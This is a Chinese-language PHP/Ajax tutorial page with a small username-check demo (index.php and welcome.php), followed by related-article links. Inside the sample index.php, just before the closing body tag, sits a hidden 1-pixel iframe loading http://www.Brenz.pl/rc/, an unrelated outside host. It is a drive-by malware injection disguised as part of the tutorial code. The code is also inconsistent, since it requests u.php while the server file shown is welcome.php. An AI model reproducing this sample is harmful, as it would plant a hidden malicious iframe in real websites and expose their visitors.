PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
一个数据采集类
Feb 14 PHP
PHP无限分类代码,支持数组格式化、直接输出菜单两种方式
May 18 PHP
PHP中设置时区,记录日志文件的实现代码
Jan 07 PHP
基于xcache的配置与使用详解
Jun 18 PHP
php中OR与|| AND与&amp;&amp;的区别总结
Oct 26 PHP
PHP魔术引号所带来的安全问题分析
Jul 15 PHP
php实现从上传文件创建缩略图的方法
Apr 02 PHP
PHP操作FTP类 (上传、下载、移动、创建等)
Mar 31 PHP
php+ajax注册实时验证功能
Jul 20 PHP
ThinkPHP3.2框架自带分页功能实现方法示例
May 13 PHP
七种PHP开发环境搭建工具
Jun 28 PHP
如何利用PHP实现上传图片功能详解
Sep 24 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
一个简易需要注册的留言版程序
2006/10/09 PHP
php遍历所有文件及文件夹的方法深入解析
2013/06/08 PHP
php 在线导入mysql大数据程序
2015/06/11 PHP
Laravel框架中缓存的使用方法分析
2019/09/06 PHP
js验证表单第二部分
2006/11/25 Javascript
对 lightbox JS 图片控件进行了一下改造, 使其他支持复杂的图片说明
2010/03/20 Javascript
javascript简易缓动插件(源码打包)
2012/02/16 Javascript
jquery的live使用注意事项
2014/02/18 Javascript
JS+CSS实现可拖动的弹出提示框
2015/02/16 Javascript
jQuery实现搜索页面关键字的功能
2017/02/16 Javascript
AngularJS自定义指令之复制指令实现方法
2017/05/18 Javascript
Ionic3 UI组件之Gallery Modal详解
2017/06/07 Javascript
JS实现的加减乘除四则运算计算器示例
2017/08/09 Javascript
layui.js实现的表单验证功能示例
2017/11/15 Javascript
Vue.js实现可配置的登录表单代码详解
2018/03/29 Javascript
JS实现select选中option触发事件操作示例
2018/07/13 Javascript
详解html-webpack-plugin插件(用法总结)
2018/09/12 Javascript
pm2发布node配置文件ecosystem.json详解
2019/05/15 Javascript
[48:26]VGJ.S vs infamous Supermajor 败者组 BO3 第二场 6.4
2018/06/05 DOTA
Python中Class类用法实例分析
2015/11/12 Python
Python抓取框架 Scrapy的架构
2016/08/12 Python
解决Django生产环境无法加载静态文件问题的解决
2019/04/23 Python
简单了解python代码优化小技巧
2019/07/08 Python
Python多重继承之菱形继承的实例详解
2020/02/12 Python
Python面向对象程序设计之继承、多态原理与用法详解
2020/03/23 Python
赫里福德的一家乡村零售商店:Philip Morris & Son
2017/06/25 全球购物
科颜氏法国官网:Kiehl’s法国
2019/08/20 全球购物
品学兼优的大学生自我评价
2013/09/20 职场文书
酒店经理职责
2014/01/30 职场文书
党员干部2014全国两会学习心得体会
2014/03/10 职场文书
手术室护士长竞聘书
2014/03/31 职场文书
服务型党组织建设典型材料
2014/05/07 职场文书
党小组鉴定意见
2015/06/02 职场文书
Nginx访问日志及错误日志参数说明
2021/03/31 Servers
如何将JavaScript将数组转为树形结构
2021/06/02 Javascript
JS前端轻量fabric.js系列物体基类
2022/08/05 Javascript